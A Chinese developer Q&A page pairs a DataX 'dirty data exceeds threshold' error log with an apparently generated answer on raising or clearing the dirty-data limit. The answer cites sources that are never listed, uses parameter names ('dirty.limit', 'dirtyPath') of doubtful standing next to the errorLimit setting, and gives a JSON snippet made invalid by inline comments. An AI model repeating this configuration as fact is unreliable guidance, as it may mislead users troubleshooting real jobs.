[AnalysisStatistics.analysisStatisticsLog-53] com.alibaba.datax.common.exception.DataXException: Code:[Framework-14], Description:[DataX传输脏数据超过用户预期,该错误通常是由于源端数据存在较多业务脏数据导致,请仔细检查DataX汇报的脏数据日志信息, 或者您可以适当调大脏数据阈值 .]. - 脏数据条数检查不通过,限制是[100]条,但实际上捕获了[361]条. 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.common.exception.DataXException.asDataXException(DataXException.java:30) ~[datax-common-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.util.ErrorRecordChecker.checkRecordLimit(ErrorRecordChecker.java:58) ~[datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.scheduler.AbstractScheduler.schedule(AbstractScheduler.java:89) ~[datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.JobContainer.schedule(JobContainer.java:535) ~[datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.JobContainer.start(JobContainer.java:119) ~[datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.start(Engine.java:86) [datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.entry(Engine.java:168) [datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.main(Engine.java:201) [datax-core-0.0.1-SNAPSHOT.jar:na] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05.850 [job-0] INFO StandAloneJobContainerCommunicator - Total 361 records, 98167 bytes | Speed 95.87KB/s, 361 records/s | Error 361 records, 98167 bytes | All Task WaitWriterTime 0.001s | All Task WaitReaderTime 1.066s | Percentage 100.00% 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05.850 [job-0] ERROR Engine - 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 经DataX智能分析,该任务最可能的错误原因是: 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] com.alibaba.datax.common.exception.DataXException: Code:[Framework-14], Description:[DataX传输脏数据超过用户预期,该错误通常是由于源端数据存在较多业务脏数据导致,请仔细检查DataX汇报的脏数据日志信息, 或者您可以适当调大脏数据阈值 .]. - 脏数据条数检查不通过,限制是[100]条,但实际上捕获了[361]条. 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.common.exception.DataXException.asDataXException(DataXException.java:30) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.util.ErrorRecordChecker.checkRecordLimit(ErrorRecordChecker.java:58) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.scheduler.AbstractScheduler.schedule(AbstractScheduler.java:89) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.JobContainer.schedule(JobContainer.java:535) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.job.JobContainer.start(JobContainer.java:119) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.start(Engine.java:86) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.entry(Engine.java:168) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] at com.alibaba.datax.core.Engine.main(Engine.java:201) 2025-05-19 10:34:05 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:34:05 [JobThread.run-165] <br>----------- datax-web job execute end(finish) -----------<br>----------- ReturnT:ReturnT [code=500, msg=command exit value(1) is failed, content=null] 2025-05-19 10:34:05 [TriggerCallbackThread.callbackLog-186] <br>----------- datax-web job callback finish. 如何清空脏数据?
最新发布
05-20
### 如何在DataX中处理或清空脏数据 DataX 是阿里巴巴开源的一款异构数据源离线同步工具,支持多种数据源之间的高效数据传输。对于脏数据的处理,DataX 提供了灵活的配置选项来控制和管理这些异常数据。 #### 脏数据定义与处理机制 DataX 将在传输过程中因类型转换错误或其他原因无法正常解析的数据视为脏数据[^1]。为了应对这种情况,DataX 支持通过配置文件设置 `dirtyLimit` 参数,用于指定允许的最大脏数据条数。当实际产生的脏数据数量超出该限制时,任务将会被终止,并提示相应的错误信息。 以下是具体的解决方案: --- #### 配置参数调整以清空或忽略脏数据 可以通过修改 DataX 的 JSON 配置文件中的相关字段来实现对脏数据的不同处理方式。主要涉及以下几个关键参数: - **`dirtyPath`**: 指定脏数据存储路径。如果不需要保存脏数据,则可以不配置此字段或者将其指向一个临时目录,在任务完成后手动清理。 - **`dirtyLimit`**: 设置最大容忍的脏数据条数。将此值设为较大的数值(如 `-1` 表示无上限),可以让任务继续运行而不中断,即使存在较多的脏数据。 - **`writeMode` 或其他写入模式**: 如果目标端支持覆盖操作,可以在配置中启用覆盖模式,从而间接达到清除旧有脏数据的效果。 下面是一个典型的 JSON 配置片段示例: ```json { "job": { "content": [ { "reader": { ... }, "writer": { ... } } ], "setting": { "speed": { "channel": 3 }, "errorLimit": { "record": 10, // 单位为记录数 "percentage": 0.05 // 百分比形式表示可接受误差率 }, "dirty": { "path": "/tmp/dirty", // 存储位置 "limit": -1 // 不限制脏数据量 } } } } ``` 以上代码展示了如何通过 `dirty.limit` 和 `dirty.path` 来管理和存储脏数据[^2]。 --- #### 手动干预方法 除了依赖于自动化的配置外,还可以采取一些人工手段来进行后续处理: 1. 定期检查日志文件以及指定的脏数据存储路径 `/tmp/dirty` 中的内容; 2. 使用脚本批量删除过期或不再需要的脏数据记录; 3. 对频繁出现特定类型的脏数据进行分析,优化源头系统的数据质量。 需要注意的是,虽然增大 `dirtyLimit` 值能够避免任务失败,但这可能掩盖潜在问题。因此建议结合实际情况权衡利弊后再做决定。 --- #### 参考官方文档进一步学习 更多关于插件开发及高级功能的信息可以从以下链接获取帮助[^3]: - [DataX 插件开发指南](https://github.com/alibaba/DataX/blob/master/dataxPluginDev.md) --- ### 总结 综上所述,针对 DataX 数据传输过程中的脏数据问题,既可通过合理设定配置项减少其影响范围,又需配合周期性的维护措施保障整体流程稳定可靠。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值